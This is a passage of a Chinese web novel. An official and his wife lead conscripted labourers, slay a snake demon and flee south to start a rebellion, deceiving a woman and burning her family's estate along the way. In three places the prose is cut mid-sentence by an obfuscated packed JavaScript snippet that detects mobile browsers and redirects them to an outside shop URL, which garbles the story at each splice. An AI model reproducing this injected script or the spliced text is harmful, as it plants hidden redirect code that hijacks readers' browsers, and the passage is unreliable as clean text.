司空谷嘴唇嗫嚅了几下,脸色变了又变,指节微微用力,把那纸张捏皱了一点又松开,过了好一会儿才眼神躲闪地说:“今晨我去了县令府上,早就人去楼空了……” “这文书还是他家下人送来的。” “呵,呵呵,呵呵呵……”姚复笑了起来,皮笑肉不笑。 好一个墙头草桅上帆,风往哪儿吹他往哪儿倒啊,年前先帝驾崩时他跟没了亲爹一样,这下形势变了说跑就跑? “事已至此……”姚复脸上挂着好似将要哭出来的笑,“记得通知那头的木匠铺给我打副结实的棺材……” 应瑕猛然起身,眼前一黑又一黑,站了好一会儿才恢复视力,视野恢复清明的一瞬间就从背后给了姚复一击,力度大到姚复觉得隔夜饭都能吐出来。姚复踉跄了一下,差点跌在司空谷身上,后者急忙后退一步,双手托住姚复的手肘,才免得他摔倒。 姚复满脸震惊地扭头看向应瑕,应瑕慢条斯理地收回打人那只手,淡然说:“你说的什么话。有我在还能让你死?” 姚复转过身子,一只手探到背后去感知遭受无妄之灾的那块皮肉,满脸痛苦的说:“真出了事大罗神仙也保不住我的九族啊,姑奶奶。” 而且出事的概率十之八九,这一去几乎就是九死一生。 “天塌了也砸不死你,你急什么。”应瑕揉着打人那只手的腕子,似乎是出手太猛自己也受了力。 应瑕没说话,微抬下巴,对司空谷说:“你,去通知街坊,看哪家愿意出壮丁修皇陵,几个无所谓。我记得指标是咱们自己定,左右那个碍事精走了。” 司空谷颔首,抬脚出了门。姚复一脸狰狞地坐到旁边的石凳上,冲着门外喊:“二三十个就够了!” 喊完又满脸委屈地抱怨应瑕:“你下手真狠啊……嘶……妇女谋杀亲夫可是要收监的!” 应瑕又蹲了下来,继续挑地上的红烛,顺口还不忘反问一句:“你还想再来一巴掌?” 姚复登时噤了声。 鉴于姚复的口碑,招到的人也勉强足够,林林总总有五六十人,算是超额完成了指标。 虽说都是大家自愿的,姚复也还是心中有些愧疚,在动身前的正月里,隔三差五请这些壮丁吃些酒肉,权当是断头饭了,临走前总得吃点好东西不是。 阳城离皇陵所在地不远,过了元宵再动身也不迟。 应瑕不会做元宵,他们一家几口干脆又去了张娘子的馆子里。张娘子的酒馆变化确实很大了,桌椅酒具都换了新的,连菜食也多了起来。桥虹那个没去做民工,但好歹也知道什么事,便早早清了馆子,从里闩好了大门。 酒馆里还残留着一些红色纸屑没打扫干净,梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207082|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上也稀稀落落挂着红布,似乎还有几分过年的喜气,又平添了几分萧索。 “姚大人这一去也不知能不能回了。”张娘子站在一边,掩着唇,泫然欲泣。 姚复把汤匙放回碗里,含含糊糊说:“什么话,说的我好像……” 话音戛然而止,在座的几乎都是心知肚明,这一去,保不齐就是赴死呢。 “行了行了,”姚复有些烦闷地低下头,去喝碗里的汤,“人总有一死的。” 说罢还偷偷瞄了应瑕一眼,确保她没有进一步动作才继续肆无忌惮地喝汤。 “姚大人,我和娘子打算搬去启封了。承蒙你的照顾,我们也赚了不少钱。”桥虹坐下来,笑着对姚复说。 没等姚复开口,新涂先将碗放在桌上,笑说:“哎哟,张娘子这手艺,去哪都吃香。不过桥兄,你不是说等有人反了就去投奔吗?这楚王好像一直在招贤,你要是去了怕是待遇不薄啊。” 闻言应瑕抬起眼皮,扫了桥虹一眼,很快又把目光放回了勺子上。张娘子有些紧张地拿脚尖触了触桥虹,又看了姚复一眼,最终目光惊疑不定地垂下来,双手紧紧捏住裙摆。姚复抬起脸来插了一句:“去了也好啊。江南是个好地方,屈郢若是赢了便跟着鸡犬升天,输了就隐居江南,或者东渡蓬莱,不是也不错?” 说罢就又接着埋头吃汤圆了。此言一出,屋里登时陷入了死寂,应瑕手里的汤匙掉在了桌上,发出一声脆响,新涂不由屏住呼吸,桥虹也坐直了身子。 过了好半天,桥虹才说:“罢了吧,屈郢刚愎自用,不过是……” “一介莽夫。”姚复面无表情地接上后半句,“不去就不去呗,启封挺好的,在启封开馆子可比在阳城赚钱的多。” 不过这街上的酒馆还是张娘子家的最好,其他家不是饭菜不如张家,就是酒比不过张家。 不知道是谁叹了口气,屋里又陷入了寂静。 正月十七姚复就带着人出发了,从阳城到启封,路上尽是些尸骨,有些显然是新死之人,有的却已化作了白骨。姚复只恨今年雪景不佳,没能盖住这些可怜人。 好在中间没有山地,路行起来并不艰难,只是薄雪初化难免有些泥泞。 “早知如此,那些马匹就全带来了。”姚复看着自己染了泥巴的鞋尖,有些懊恼地拍拍头。 中间路途不长,姚复没想过要骑马,只是觉得应瑕一介女流,又还穿着个白衣裳,赶路实在不妥,便带了新涂那匹老马出来,叫应瑕骑着赶路。 老马终归是老马,行走的速度与常人也一般无二。 “你要回家看看吗?”走到城门前,应瑕俯首问姚复。 姚复也不知道自己什么感受,也许是近乡情怯,也许是太过狼狈,便摇了摇头。忽而又转首看向新涂,新涂竟做出了与他一般无二的决定。 进了城也不算好事,壮丁们在鱼龙混杂的集市中跑了十之二三,剩下的好歹也算是到了标准,姚复也懒得去追究。 启封东南有座山,夷山夕照的夷山,过了夷山,便就是启封东城门了。 夷山不高,曾经被黄河的泥沙淤埋过,此处也常有人经过,姚复幼时也跟着姚老头从里面走过一遭,知道里面有山路。其实从周围绕路也可以,只是马上就要误了时间,不如从山里走更快些。 只是想起应瑕说的什么精怪,姚复不由咽了口水,好在夷山还是夷山,里面除了枯枝残叶什么也没有。不过那老马走路实在力不从心,应瑕便落在了后面。 山底下有家客栈,姚复看着最后一个人出了来,便打算带大家喝口水再赶路。 新涂却一个劲还在往山里张望:“嫂子没出来啊?” 姚复擦了把汗:“山路不好走,她大概得过一会儿……” 新涂点点头,和大家喝水去了。姚复自己倒是坐立难安,水也喝不下,焦急地站在原地等候,过了小半个时辰,依旧不见应瑕出来,干脆握紧了腰间挂着的那把剑——应家人送那把“吴霜”,应瑕出门之前强逼着他带上的。 姚复按着剑,也未曾向新涂支会,便只身再次上了山。 从前没听过这里有山匪,方才他们也是相安无事,难不成有人埋伏在山里,专拣着女子下手? 姚复心跳如鼓,加快了上山的步子。 13. 第13章 头一次上山时,姚复并未觉得这山路多么难走,如今形单影只上了山,方才发现这山路实在泥泞崎岖。山中阴寒乃是常态,这一会儿起了一层薄雾,叫眼前之路略有些朦胧,路边的古树老干虬枝,树根偶尔会伸到路上去,有些地方还有猎人留下的捕兽装置。 先前竟完全没注意过,姚复小心地跨过一截树枝,眼见着雾气渐浓,只得加快脚步。也许是山中冷气作祟,姚复冷静下来,不免后悔方才头脑发热一时冲动,只自己便拿了剑上山。 路都走一半了,后悔也没用。姚复心中想着,一边拨开树枝,继续往前走。 应瑕上山时就下了马。平地上马比人快,山地上人行却比马快。新涂这匹马的确是老了,应瑕牵着它走要比自己走慢了不少,不久就远远落在了队伍后面。 虽说不过一座矮山,又处于繁荣昌盛之地,可到底是一座山。 应瑕不急着去追赶队伍,却反手将马拴在路边的一棵小树上,口中说:“你便在这里歇歇罢。” 随后应瑕转身,进了附近一块林木稀疏的空地上。 这块地没什么特别的,就是特别光秃。应瑕四下张望,没见着自己想要的,眉头微蹙,绕着空地走了一圈,仍旧一无所获。看样子主动出击行不通,应瑕灵光一现,就近坐在一棵树下,阖眸假寐。 这招果然有用,约莫半刻钟时间,耳边就响起了窸窸窣窣的响声,似是有蛇在地上爬行,且这声音越来越大、越来越近。 应瑕几乎能感到那蛇的信子吐出的嘶嘶声响在耳边,在它碰到自己之前应瑕猝然睁眼,以迅雷不及掩耳之势扼住了那条蛇的七寸——这蛇现在只有手腕粗细,要抓住它轻而易举。 这是一条赤蛇,浑身鳞片发着妖异而又绚丽的光,三角头,两颗毒牙,头上还有两枚类似角的凸起。 一般来说,这样的蛇是通人性的,被人抓着七寸早该偃旗息鼓了。可这赤蛇偏偏不一样,在应瑕手里死命挣扎着,不断扭动着身子,甚至想借机给应瑕来两口。 那蛇力量极大,应瑕不得不使出很大的力气制住它,又必须提防它的两颗毒牙,拿着它实在危险,应瑕便笑了一下,放开了那赤蛇。 赤蛇在地上盘绕两圈,往里爬了两步,低低伏下身子,做出一副进攻的姿态,应瑕站起身来,定定看了它两眼,似乎在说“当心我拔了你的毒牙”。那蛇眼中透出一丝惊恐,往林子深处去了。不一会儿,那林中走出了——也不能说走,他下半身是蛇身——一个赤衣男子,面容秾丽,但透着蛇蝎的阴毒。 那男子露出一个微笑,乱七八糟地朝着应瑕走过来——真的就是乱七八糟的走,走路姿势极其怪异,似乎两条腿不是一个人长的,一边走,上半身还七扭八扭的。应瑕实在受不了他的走路姿势,干脆扭过头去不看,嘴里说:“你还不如爬着。” 男子倒也不恼,终于歪七扭八的走到了应瑕面前,他抬手想去搭应瑕的肩膀,应瑕捂住口鼻后退一步,另一手打掉了男人的手,露出满脸嫌恶。 男子只好站定了,笑着说:“我初次化人,不会走路,还得——” 他身上尽是些蛇窝子里的腥臭气,实在恶心的够呛,应瑕皱着眉头打断他:“你先洗干净你那一身臭味再说话吧。” “……”男子识相地后退一步,下身变回蛇尾,脸上露出一幅可怜的表情,故作姿态地说:“姐姐,我不会洗,要不你帮我?” 应瑕有点恶心,眯着眼睛斜目看着那蛇妖。 蛇妖不懂人情世故,巴巴的又贴上来:“姐姐,我看你也是蛇妖,我也是蛇妖,咱俩凑个伴,畅游山野,一块修行化龙……在人间哪有这么好过,勾心斗角的还不如归隐田园。” 应瑕只听了半句,脸上竟少有地浮现一丝愤怒:“你说谁是蛇妖!你怎么敢把我和低贱的蛇妖相提并论?!连我是什么都看不出来,就你那三脚猫功夫还想着化龙?做梦去吧!” 也不怪应瑕这么说,龙为百鳞之长,凡是有鳞的都能修炼成龙,而其中最卑贱的就是鱼,其次便是蛇。这二者修炼起点最低,过程最为艰难,时间最为漫长。鱼类食水草腐泥,而蛇类难改本性,每每害人。故而遭人鄙视。 准确的说,所有妖族都遭人歧视。 这条蛇刚刚长出角,想必是马上要化蛟了,被应瑕这么一通骂,登时燃起怒火,他整张脸都气的狰狞扭曲,长长的蛇尾支撑着他上半身升到半空去,在雾气的笼罩下现出庞大的身形——一条巨大的赤蚺,不过头上长着两只形似鹿茸的幼角,身上生出透明薄翼,腹部的鳞片上隐隐长出四个婴儿拳头大的凸起。 这蛇足有百尺高。 龙生五爪,而蛟有四。再过个几百年,这蛇怕就能大成了,届时他再下山讨封,便能化龙。 只是……它没这个机会了。 赤蚺嘶吼着,卷起一地枯枝断叶和风沙,连浓雾都被撕开了一个裂口。 一地风沙弄脏了应瑕的衣服,她低头看看身上的污渍,不满咋舌,只是未曾注意脸上也弄出了几个小伤口,丝丝缕缕往外渗血。 不远处拴着的马儿忽而嘶鸣起来,应瑕的角度恰能透过密林见着不远处披着雾气往前来的姚复,过不了几秒,他就能看见这边的景象,应瑕干脆朝着马匹跑去,一边大喊:“有蛇啊!” 姚复果然听到了,循着声往林中看去,只见浓雾中一个模模糊糊的红影,还有地上往路边狂奔形容狼狈的应瑕。那蛇已经发起攻击了,它见着应瑕要跑,俯首下来,张开血盆大口,试图一击毙命,应瑕顺势倒地,在地上滚了两圈,继续夺命奔跑。 姚复见应瑕换了方向,不再往路上走,仍然身处水火之中,也顾不得别的,退了剑鞘丢在地上,也纵身下去了,持剑便往那蛇身上砍。 剑身与蛇鳞摩擦发出火光,随后剑光一闪,没入蛇身,叫那蛇出了血。 赤蚺吃痛回头,见对手又多了一个,便掉头优先攻击那个拿武器的—— 姚复没学过剑术,也不懂谋略,可在死地之中总能激发人的潜能,姚复一边灵活地闪躲,一边举剑乱砍一气。 应瑕趁着那蛇手忙脚乱,一把扑到它身上,对着姚复大喊:“打七寸!在这儿!” 蛇身光滑,赤蚺又感到了危险,急急地抽身出去,应瑕没借着力,一下滑落在地上,赤蚺挪开身子,灯笼大小,泛着黄光的眼睛死死盯着应瑕,随后高高举起尾尖,决定先处死这个“蛇族”的罪人。 应瑕嗤笑一声,挑衅似的趴在地上不动。 没等赤蚺的尾尖落下,姚复就已经寻了空子,双手把着剑柄,长剑将那赤蚺捅了个对穿。赤蚺确是有修为在身的,连忙收了尾巴,在地上挣扎起来,试图挣脱锋利的剑刃,姚复也不知哪来的力气,死死稳着长剑,那蛇本就被掐住了七寸,又受伤流了血,再挣扎也无济于事。 应瑕从地上爬起来,对姚复说:“我不过想在这儿休息一会儿,便遇着了这蛇。它怕是害过不少人了。” 姚复拔出剑,对应瑕说:“山下有个客栈,大家都在那儿休息,你受了伤,待会儿回去好好包扎……” 应瑕后知后觉地摸了摸脸,才说:“不碍事。只是这蛇……” “蛇皮扒了做衣服,蛇肉卖给山下酒家,骨头凿开做个新剑鞘,蛇胆和毒牙拿去医馆入药。”姚复看着地上奄奄一息仍旧瞪着眼看应瑕的蛇,轻而易举下了结论。 “我还没死呢。”姚复眼中满是愤恨,“当着我的面就要伤我夫人,凌迟处死也不为过。” 应瑕点点头:“行,那你先下山去找人,我牵着马在后面。” 姚复叹口气,转过身去,低头看了看自己的衣服,随后说:“啧,弄了一身血,臭死了……” 应瑕从袖子里取出一把匕首,熟练地把那蛇剖开,取出蛇胆和几节脊骨,便牵马下山了。 另一边,新涂盘算着姚复马上要下山了,将壮丁们召集起来,说了些什么,便坐回了自己桌上吃东西。 过了一会儿,姚复果真浑身脏污地回来了,那一身血迹太过显眼,一手还提着一把寒光凛凛甚至还在往下滴血的长剑,实在惹的周围客人频频侧目,只是来的时候大张旗鼓,大家也都知道此处有官家押送民工,也不好过问别人的事。 姚复给老板多塞了一块碎银,让他见谅,老板见着白花花的银子,原本不满的脸色霎时变了,一边笑着招呼小二给姚复备热水,一边试图打探这位客人的更多信息。姚复懒得应付他,只说自己还有急事,便提着剑往新涂那桌走去。 那闪着寒光的白花花剑刃就被搁置在地上,主人却忽而折返,对店主说:“待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姚复的脸色渐渐黑了下来,过了一会儿又由阴转晴:“咱们先把蛇弄下来煲汤,给大伙吃一顿好的。” 新涂有些讶异地看了他一眼,心里不解,还是老实去叫人了。 十几个人,向老板借了刀子和麻袋,装着肉下了山,去后厨煲了一锅汤。蛇肉鲜美紧致,这巨蛇肉质更是弹滑,大家几日来未沾荤腥,这下子倒是酒足饭饱了。 姚复也喝多了,也不知是借酒消愁还是还乡心动,总之大家一杯接着一杯劝,姚复一杯接着一杯喝,最终人醉的不轻,趁着酒劲,高举杯子,一只脚踏在桌上,醉醺醺说:“人走了这么多,我横竖也是一死,不如今天……” “今天我做主,放大家离开罢!明天……明天我就带着……落草为寇啊!” 一群壮汉哄然叫好,有些人方才还在桌上假寐,一听这话,立时摇摇晃晃坐直身子,大声喝道:“不过烂命一条,老子誓死追随县丞!” 也不知哪句话触动了大家的心弦,一时间厨房里“誓死追随县丞”一句话一浪高过一浪。 应瑕站在门口,抱胸看着里面一群酒蒙子,眼见又要给姚复灌酒,方才拍了拍手,上前扶走了姚复:“好了,今日天色已晚,大家先回去歇息吧。” 新涂没喝多少,自己还能回去。应瑕看着醉的不成样子的姚复,深深叹气。 好在带的东西里有解酒药,随便给姚复喂了一点,应瑕便也不管了,她也不会照顾人,最多也就是把姚复放在床上,自己打地铺——没人愿意跟一个浑身混着酒味和血腥气的男人睡在一张床上,即便是夫妻也不行。何况他俩成婚两年了还是分房睡,这还是头一遭睡在一个房间。 老板忒会察言观色,见着应瑕一眼笃定了她就是姚复的妻子,竟诓骗她姚复自己开过房了。 她一向精力充沛,并不急着睡觉,只翻出那几根骨头,坐在地上开始剔骨雕花,试图把那脊骨雕成一个新的剑鞘。那半蛟的骨头着实是稀罕物,配姚复手里的宝剑正正合适的紧。 不过这个起兵的时机不怎么好,东边屈郢虎视眈眈,西边朝廷急催猛赶,姚复几乎陷在两难的境地。 14. 第14章 第二日一大早,姚复勉力克服了宿醉的副症,爬起来就开始着急忙慌的收拾东西,趁着还没到日子,得赶紧从定州离开。 由于当时走的匆忙,要收拾的东西也不多。横看竖看,也不过几件衣物,几两白银,一匹老马,便是全部家当。那些民工们离家时也许带了一些珍贵之物,也许是聊解儿女情长的钗簪,也许是慰藉乡愁的一抔黄土,活着的时候睹物思人,不幸殒命则作为陪葬。 反正也没多少东西。 在此处占山为王实在不合理,要起兵也要到南边去。 一点东西,颠来倒去也不过两个小包裹,拿在手里也只有三四斤重。姚复把包袱放在客房里的桌上,颓然地看着桌上的茶杯,时不时叹口气。 “这一去再回,便是经年了。”茶水映着日光,发着熠熠的光,姚复拿指节敲着额头,试图驱散脑中那昏涨的刺痛。 应瑕抬手支起窗户,好让阳光更多地照进房间。她自顾自地梳洗打扮去了,待到妆罢才坐到姚复对面,拿起那盛着三分春光的茶杯,淡然抿了一口。她今日穿的倒是体面,发髻是当下时兴的高髻,看着灵动非常,脸上甚至也添了些胭脂粉黛。 “那又如何。”应瑕头也不抬地喝着茶,“箭在弦上,不得不发。你若想家了,趁现在还能跟他们去告别。” 姚复蹙着眉摇摇头。他是绝不能叫人察觉到下落的,启封离皇陵这样近,官兵要不了多久就能查到他家去,姚老头又是个守不住事的,一旦官兵知道他回过家,灾祸必然延及家人。 这房间里不知何人放了一把筑,左右也无事可做,应瑕干脆拿了筑来,持着它跪坐在窗边的阳光下,微微抬眸,对着姚复说:“既然穷途末路,不如击筑高歌明志。” 姚复笑了一下:“时至今日已经很少有人会击筑了。况且击筑能配什么歌。” 应瑕不理他,击筑棒只随着自己的心意敲击着五根琴弦,姚复干脆整个人趴伏在案上,闭上眼睛专心去听。筑声如金石相击,急切又悲凉,仿佛真生出了两分落草的哀戚来。 一曲作罢,应瑕站起身来,把那乐器放回原位,逆光站在榻侧,开口道:“当配《易水》。” 姚复头也不抬,只笑了两声:“配《易水》不妥。荆轲刺秦是为天下大义,我决定起兵那是谋大逆。何况……荆高二人是知音,是好友,咱们是夫妻。唱易水确实不妥当。” “这有什么。”应瑕勾唇浅笑一下,“所求的不过是意境,管它曲子讲的什么。” 姚复坐直身子,拍拍脑袋,又拆下发冠,重新束了一遍头发。待到确定每一根发丝都完完整整地束在头顶,姚复才撑着脸问应瑕:“当初你爹为什么把你嫁给我?如今却得跟着我颠沛流离,再也与长安那花团锦簇的‘盛世’无缘……” 应瑕偏头看向窗外:“因为这是命数。是‘她’的,也是我的。” 姚复听的云里雾里的,但想起当时应摇光说过应瑜懂些相面之术,也许从中窥探出了应摇光的应瑕的命数也不得而知。 “好好好。”姚复站起身子,也看了眼太阳的方位,“你们有权有势,要什么都有,怎么还信这些神神叨叨的东西。时间不早了,看样子也该启程了。” 说着他便套上了随便丢在床上的外袍,推开门出去了。 应瑕翻出昨天连夜剔好又大致雕好的几节骨头,昨日夜里已经把它们的花纹、形状都雕刻好了,今日再拼接起来就能直接用。无鞘之剑伤人,同样会伤主,姚复回来后便把它放在了屋里,打算今日再出去买个勉强吻合的鞘。 包袱里并没有胶,现在去找树胶也是找不到的,应瑕干脆咬破指尖,将血珠滴在骨鞘的结合处,那剑鞘好似有生命一般,吮吸着留下的鲜血,那结合处好似在生长,传来噼噼啪啪的磨合声,不一会儿就连接的浑如一体。 应瑕看着手指上的伤口以极快的速度愈合,朝着那森森的剑鞘冷笑一声:“哼,得亏把你杀了。” 蛇妖吃了不少人,死后骨头都能饮血而生,若是真修炼成蛟龙还了得,怕是半个定州都要沦为它的口中之食。 应瑕取下那挂在墙上,未着剑鞘的长剑,试着推剑入鞘,“啪”的一声脆响,长剑完美嵌合在剑鞘中,丝滑流畅,没有一丝卡顿。应瑕又试着抽剑出来,同样是极为流利,绝不会出现“王负剑”的情况。 那枚巨大的蛇胆被她封在一个小木匣子里头,放在其中一个包袱里。 她拿上那两个小包袱,提着剑往楼下走去,余光中瞥见剑柄上空空如也的环口,有些惋惜自己尚未编造那剑穗。 定州南边的鄂州是个不错的地方。先帝自诩贵族之后,视旧时楚地为蛮荒,视今日楚人为蛮夷,对鄂州百姓实行严刑峻法,惹的怨声载道。故而鄂州百姓都不认朝廷给的“鄂”州名号,对外都自称“楚地遗民”。 所以当初屈郢造反时姚复有些惊讶,再怎么也该是鄂州之人先反,遑论当年太祖立国兴邦之时还有一支前朝余孽逃到了鄂州。 因此要起兵,鄂州真是个顶好的地方。 “害,鄂州准没错。”新涂拍着胸脯向姚复分析,“屈郢他老家会稽的,本来就富的流油,又拿下了阖闾城和江都,都是些好地方,怎么看得上鄂州!” 鄂州也确实担得起蛮荒之地四个字。虽说此地气候湿润,土地肥沃,可实在招架不住皇权的磋磨,以至于现在还是一幅未开化的样子。而鄂州北临江水天堑,南靠南岭,地形险要易守难攻。 “天时、地利、人和,都齐了。”姚复喃喃道,随后一拍桌子,“那我们打点好行装,马上到鄂州去。我听说鄂州官兵被调去了淮扬对抗屈郢,鄂州内部烽烟四起,知州早就逃去了岭南——” 只是定州与鄂州之间隔着江水,江水虽不及黄河凶险,眼下摆渡的应当也不多。定州人又大多安土重迁,不肯背井离乡。 “想要留在江北的,现在可以走了。”姚复环视一圈,看着包厢里坐成一排的壮丁。 没人动弹。 姚复微微颔首,接着说:“好。新涂,你带着人马上走,我去叫双福下来。” 新涂重重点头,姚复站起身,方一拉开门,却见应瑕站在外面,后者似乎是毫不惊讶,只把戴好新剑鞘的剑递给姚复。那剑鞘闪着森然的微光,触感也寒凉,实在叫人毛骨悚然,姚复稍微愣了愣,应瑕掀起眼皮,说:“你昨日说要把那蛇的骨头拿来做剑鞘——我看这蛇修为不错,恰配这千年灵剑。” “你也不必亲自雕琢……”姚复半天才出声,“竟劳烦你有心记挂了。” “哼。”应瑕轻哼一声,转过身去,“行了,我们赶紧走吧。若是到鄂州晚了半步,可是连羹汤都分不到了。” 姚复先是傻傻应了声,见着应瑕把包袱放在马背上,姚复才后知后觉地意识到:她怎么会知道要去鄂州? 应瑕竟还熟知天下大事,果真与他心有灵犀。 春日的江水早已冰释——实际上江水在数九隆冬之际也很少结冰。 这些日子江边摆渡的竟也多了起来,倒不似大河上凌冰万里绝无一人。还好启封在河水南岸,他们不必为了渡河操心。 姚复多花了银子租了条大船,对主人说他们是东边逃难来的灾民,那船夫虽然怀疑,但这年头人祸不断,鄂州勉强算是一片净土,见到的灾民也多了,倒也没多说什么,照例收了钱摆渡过江了。 鄂州人确是恨朝廷入骨了,自从鄂州东部的三州被攻陷后,这边的摆渡人便不再替官兵摆渡了——江水中段几乎都是鄂州管辖。现在朝廷下援军只能从西边的巴州入手,可金沙江水流湍急,渡江不是小问题,这些人一时半会儿过不来。 区区二十人,一路舟车劳顿,终于到了鄂州南边的武陵。 武陵北面依湖,西部靠山,名气不及武昌,人口不如岳阳,但胜在土地肥沃,鱼米充足。 “武陵城内也有不少势力占地。”应瑕按着辔头,使马匹停在城门前,扭头对姚复说,“武陵此地,物产不比其他府县,没什么优势,能依靠的只有洞庭湖。故而里头的民众势强者凌弱,大多是割地居之。” 姚复若有所思地点点头:“那我们进城吧。新涂,你有没有带火折子?” 新涂不明所以,从兜里掏出火折子递给姚复,姚复笑了笑,把那小东西塞进袖子。 一行人先是在城里无所事事地逛了一大圈,姚复惯于社交,一路上拿一两银子换了两贯钱,又花了不少买些礼物,与许多大姑娘小媳妇套近乎,又从人家嘴里撬出来不少信息——姑娘家的嘴是没有男人严的,她们容易被甜言蜜语哄骗,更好挖出情报。 她们都是普通人,绝没有西施郑旦一般的心志。 这么一圈下来,姚复也大致摸清楚了城里有几个势力,占了多少土地,人数多少,实力强弱,分布在何地——这些东西很有用。 其中有个姑娘自称杏仁坊李家的女儿,见着姚复递过来一只团扇,满脸娇怯地接了过去,举着扇子挡了半张脸,一双杏眸半垂,羞涩地说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207084|150988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公子是新来武陵的罢,这势单力薄的不好立足,不如赘入我李家……” 姚复拿余光瞥了一眼不远处牵着马观察他的应瑕,见对方没说什么,脸色也没什么变化,才笑着说:“姑娘言过,某已经有婚配了……” 姑娘半带娇嗔地瞪了他一眼,埋怨地说:“你家那黄脸婆休了也罢,家里无权无势,那里比得过我?她没我年轻漂亮吧?” “呵呵……”姚复干笑两声:“糟糠之妻不下堂,某自然不能丢下她。” 姑娘愤愤一跺脚,解下腰间香囊,强塞进姚复手里,脸颊涨的通红,便又拿扇子挡了脸:“那你把她贬作妾室,我也不介意和姐姐共侍一夫……再不济我找人杀了她也成。” 姚复自然没听到最后一句,只忽而感到一阵寒意爬上脊梁,面上还是做出一幅犹豫动容的模样,半天才握紧那香囊,看着那姑娘,说:“那我今夜里去找你……” 姑娘讶异地抬起头,随后更为娇羞地一跺脚。姚复才惊觉失言,连忙捂住嘴:“抱歉抱歉,我太心急了……” “没有没有,这很好。我家有个废弃粮仓,进门往西走便是。那附近没什么人,你今夜亥时到那里去,我会支开门口侍卫的……”姑娘满脸羞红,丢下这句话后,就持着扇子,带着侍女翩然离开了。 姚复二指拎着那香囊的带子,把那小东西提起来,叹了口气,终于是塞进了袖子里,又从怀里拿出另一只新的香囊——方才在小摊上买的。 想要的信息差不多了,姚复转身走到应瑕身边,把那只精心挑选的香囊郑重塞进应瑕手里,说:“我见你的香囊丢了,这只虽然不比原来那只精美,也能勉强凑合。改日给你打只银的……” 应瑕接过香囊,小匠人手艺,自然比不过长安的绣娘,但也是弥足珍贵。她把香囊挂在腰间,好奇地询问:“为什么是今夜?” 其实要争得一席之地不必如此着急,偏要今夜去会那姑娘,实在有些鲁莽了。 姚复笑了一下:“钱快没了,得尽快打算。” 十几个兄弟呢,没个大庄子安置怎么行,总不能天天住客栈,又不能露宿街头,只要今天夜里拿下那李家和杏仁坊,好长一段时间的吃穿都不用愁了。 到了酉时左右,姚复拿买东西剩下的一贯钱,请十几个兄弟吃了一顿好的,安排好了晚上的动向。 亥时。 那姑娘如约在粮仓门口等候,左盼右盼可算见着了姚复从远处走过来。 昨日是个晦日,今日也是月光惨淡,天上的星子也是稀稀落落的,看不清楚姚复的容颜。他似乎比起白日不太一样,好像瘦了一圈,难道是穿的少了? 李姑娘不再多想,满心都是见到人的欢喜,冲上去一把抱住他,笑着问:“郎君怎么来的这么晚,可叫人家好等。” “……”姚复沉默了一下,声音有些奇怪,像是刻意压低的,“路上碰到了巡逻的侍卫。” “郎君你的声音怎么这么奇怪……”李姑娘抬起脸来,却见面前人带着斗笠,整张脸隐没在帷幔之下,登时惊呼一声,“啊呀,这不是女儿家用的东西么?郎君戴着它作甚?” “偶感风寒罢了。”姚复顿了顿,终究没再说什么。 李姑娘真是难缠的很,又缠着姚复说了不少情话,什么情意绵绵非君不嫁,从星华月光说到明皇贵妃,最后来了一句:“郎君,你看我比起你家那夫人如何?” 姚复漫不经心地盯着天际,说:“你好看。” 李姑娘心花怒放:“那……那比起昭君呢?” “……走水了。”姚复继续盯着远方的天际。 李姑娘愣了一下,才不可置信地扭过头,见到浓烟滚滚,火光映亮了天际,旋即尖叫一声,急急拽住了姚复的袖子,着急地喊:“郎君!我爹他们还在里面啊!我们快去救火!” 她正要拉着姚复去找水,一扭头又看到了姚复的脸,惊得一句话也说不出,姚复咬牙切齿地看着对面那个冒牌的自己:“你们……抱的真亲热啊。” 那李姑娘意识到失火之前还赖在“姚复”怀里呢。 后者淡然掀开面纱,瞟了李姑娘一眼,那姑娘见自己方才缠绵的郎君是个女子,终于是晕过去了。 应瑕微微抬眸,问:“怎么样了。” “好得很!”姚复瞪了一眼李姑娘,“人都绑出来了,大家已经去抬水救火了。” “哼。”应瑕哼笑一下,“你真有意思,明明是你放火烧了人家房子,现在还要叫人救。” 15. 第15章 “世界上哪有那么多非黑即白的事情。”姚复一边把一根粗麻绳从腰间解下来,麻利蹲下来给那李姑娘绑成个粽子,一边对着应瑕说,“哄骗她、放火烧了她家,甚至是杀了她都不过分,不过是达到目的的手段罢了。这和我救火也不冲突,我不救火房子烧成渣子了,咱们上哪住去。” 应瑕点点头。一个人可以心狠手辣,也可以慈悲为怀,人本就是矛盾的,做什么事不过是心念一动罢了。 “别看着了,快来帮帮我!”姚复手上的动作忽而乱了,绳子绕了几圈也不能绑牢实,这李姑娘穿着的裙子实在繁琐,麻绳不好往上套,姚复又不懂女子的服饰,只能喊应瑕来帮忙。 李姑娘为了会情郎也是费心了,这破裙子里三层外三层,应瑕看着也头疼,各类珍珠玉石饰品都点缀在衣服上,明显是这些奇奇怪怪的装饰限住了绳子——姚复似乎是想捆个绑犯人的结,须得从腋下和颈后绕过去。 